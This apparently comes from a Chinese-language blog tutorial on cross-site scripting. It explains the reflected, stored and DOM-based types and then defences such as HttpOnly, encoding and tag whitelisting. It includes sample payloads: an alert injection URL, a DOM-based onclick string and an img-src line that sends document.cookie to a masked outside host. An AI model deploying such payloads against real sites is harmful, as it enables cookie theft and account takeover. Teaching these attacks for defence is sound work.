XSS(跨站脚本攻击)

XSS攻击:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。


XSS攻击分为几种:

1.反射型XSS

反射型XSS只是简单地把用户输入的数据“反射”给浏览器。黑客往往需要诱使用户“点击”一个恶意链接,才能攻击成功。

例如:http://localhost:8080/prjWebSec/xss/reflectedXSS.jsp?param=value';alert('x')。当param参数被用于页面的显示时,容易形成XSS攻击。

2.存储型XSS

存储型XSS会把用户的输入的数据存储在服务器端,这种XSS具有很强的稳定性。存储型XSS,当黑客把可执行的脚本存储到服务器,当别人去浏览此脚本的页面时,形成XSS攻击。

3.DOM Based XSS

通过修改页面的DOM节点形成XSS,这个是通过JavaScript改变DOM元素,达到XSS攻击。


用以完成各种具体功能的恶意脚本,叫做 XSS Payload,实际上就是javascript脚本。

XSS Payload的一个攻击,就是Cookie劫持。因为Cookie一般加密保存了当前用户的登陆凭证。如果攻击者获得Cookie,则可以直接跳过此登陆凭证进入用户的账户。

例如,黑客加载一个img,image的src设置为一个请求的地址,“http://www.***.com/log?”+escape(document.cookie)。当用户加载此图片时,就会自动的把cookie发送到黑客的地址。这样黑客就可以使用获取cookie去登陆了。

还有,黑客可以在img的src中,构造删除等GET, Post请求,去进行破坏。只要把Javascript注入到页面中,让用户去执行就能形成攻击。


XSS的防御

  • HttpOnly,在大多数浏览器已经支持HttpOnly这个属性,就是当cookie有这个标记时,只能通过Http请求能获取这个cookie,这样就可以防止黑客写的js去读取cookie。那还有什么方法能获取到cookie呢?当然用户自己可以查看浏览器看到,但自己肯定不会做攻击自己的事情。
  • XSS的本质是Html注入,是浏览器把用户输入的数据当成HTML代码的一部分来执行导致的。所以还可以进行输入检查,输出检查等手段去阻止XSS。

输入检查:对于用户输入的<script>等敏感字符,报错等方式。

输出检查:当变量输出到HTML页面时,可以使用编码或转义的方式来防御XSS攻击。

1.对在HTML代码中输出的变量进行HtmlEncode,把字符转换成HTMLEntities。当在浏览器渲染时,被编码的字符会被反编码显示在浏览器上,而不会认为它是可执行的脚本。

2.在<script>标签中输出的变量进行JavascriptEncode。

3.在HTML事件中输出的变量,对其进行JavascriptEncode。

4.在地址中输出的变量,对其进行URLEncode。

处理富文本

有些时候,网站需要用户提交一些自定义的HTML代码,称之为“富文本”。那如何区分安全的富文本和XSS攻击呢?

我们还是得回到输入检查的思路上来。应该不允许事件这种动态效果,<iframe>,<script>,<base>,<form>等危险的标签。在标签的选择上,使用白名单,避免使用黑名单。只允许<a>,<img>,<div>等比较安全的标签。

DOM Based XSS

这是一种比较特殊的XSS攻击。例如:

<scirpt>

x = "" οnclick=alert(1)"; x的输入

</scirpt>

<scirpt>

var x="$var",

document.write("<a herf='"+x+"'>test</a>")

</script>

当我们把js中的变量进行JavascriptEncode后,当执行此js时,html中仍旧会形成XSS攻击。

因为,当js运行时,浏览器已经对js解码,然后就形成了XSS攻击。

所以当js输出到html,需要进行一次HtmlEncode,当输出到脚本,需要进行JavascriptEncode。也就是说,从javascript输出到html页面,也是一次Xss输出过程,需要分语境使用不同的编码函数。

以上是我对XSS的个人见解,如果有什么理解错误的,请大家包涵指正。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值